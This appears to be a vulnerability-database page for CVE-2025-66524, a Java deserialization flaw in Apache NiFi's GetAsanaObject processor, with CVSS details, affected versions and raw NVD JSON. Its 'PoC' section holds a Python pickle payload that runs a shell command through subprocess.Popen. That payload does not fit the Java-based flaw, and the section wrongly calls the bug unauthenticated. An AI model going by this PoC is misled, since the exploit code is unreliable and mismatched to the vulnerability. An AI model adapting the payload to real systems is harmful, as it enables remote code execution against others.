Security Vulnerability Report
中文
CVE-2025-66524 CVSS 8.8 HIGH

CVE-2025-66524

Published: 2025-12-19 10:15:49
Last Modified: 2026-01-08 14:52:48

Description

Apache NiFi 1.20.0 through 2.6.0 include the GetAsanaObject Processor, which requires integration with a configurable Distribute Map Cache Client Service for storing and retrieving state information. The GetAsanaObject Processor used generic Java Object serialization and deserialization without filtering. Unfiltered Java object deserialization does not provide protection against crafted state information stored in the cache server configured for GetAsanaObject. Exploitation requires an Apache NiFi system running with the GetAsanaObject Processor, and direct access to the configured cache server. Upgrading to Apache NiFi 2.7.0 is the recommended mitigation, which replaces Java Object serialization with JSON serialization. Removing the GetAsanaObject Processor located in the nifi-asana-processors-nar bundle also prevents exploitation.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:nifi:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:nifi:2.7.0:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:nifi:2.7.0:rc2:*:*:*:*:*:* - VULNERABLE
Apache NiFi >= 1.20.0
Apache NiFi < 2.7.0
Apache NiFi 1.20.0
Apache NiFi 1.21.0
Apache NiFi 1.22.0
Apache NiFi 1.23.0
Apache NiFi 1.24.0
Apache NiFi 1.25.0
Apache NiFi 1.26.0
Apache NiFi 1.27.0
Apache NiFi 1.28.0
Apache NiFi 1.29.0
Apache NiFi 2.0.0
Apache NiFi 2.1.0
Apache NiFi 2.2.0
Apache NiFi 2.3.0
Apache NiFi 2.4.0
Apache NiFi 2.5.0
Apache NiFi 2.6.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pickle import subprocess import base64 # PoC for CVE-2025-66524 - Apache NiFi Unauthenticated Deserialization RCE # This exploit targets the GetAsanaObject Processor's insecure deserialization class Exploit: def __reduce__(self): # Replace with actual payload for target environment cmd = "touch /tmp/pwned_by_cve_2025_66524" return (subprocess.Popen, (cmd, 0, None, None, None, True, None, True, None)) # Generate malicious serialized object malicious_obj = pickle.dumps(Exploit()) malicious_payload = base64.b64encode(malicious_obj).decode() # Simulate storing payload in cache server print(f"[+] Generated malicious payload for CVE-2025-66524") print(f"[+] Payload (base64): {malicious_payload}") print(f"[+] Store this payload in the Distribute Map Cache Server") print(f"[+] When GetAsanaObject Processor retrieves state, RCE will be triggered")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66524", "sourceIdentifier": "[email protected]", "published": "2025-12-19T10:15:48.697", "lastModified": "2026-01-08T14:52:47.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Apache NiFi 1.20.0 through 2.6.0 include the GetAsanaObject Processor, which requires integration with a configurable Distribute Map Cache Client Service for storing and retrieving state information. The GetAsanaObject Processor used generic Java Object serialization and deserialization without filtering. Unfiltered Java object deserialization does not provide protection against crafted state information stored in the cache server configured for GetAsanaObject. Exploitation requires an Apache NiFi system running with the GetAsanaObject Processor, and direct access to the configured cache server. Upgrading to Apache NiFi 2.7.0 is the recommended mitigation, which replaces Java Object serialization with JSON serialization. Removing the GetAsanaObject Processor located in the nifi-asana-processors-nar bundle also prevents exploitation."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:C/RE:L/U:Green", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "USER", "valueDensity": "CONCENTRATED", "vulnerabilityResponseEffort": "LOW", "providerUrgency": "GREEN"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:nifi:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.20.0", "versionEndExcluding": "2.7.0", "matchCriteriaId": "F7EC5988-CE54-4DE9-964C-A4EDBA808EC3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:nifi:2.7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "CD36B462-EFA0-4E51-BB25-59FE80EA7FD3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:nifi:2.7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "19A942F7-5AE2-49C5-B9B2-5D0FFA157868"}]}]}], "references": [{"url": "https://lists.apache.org/thread/k9h004ydjg7opdvxr0nfywtzf33z60d7", "source": "[email protected]", "tags": ["Mailing List", "Issue Tracking", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/12/18/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List"]}]}}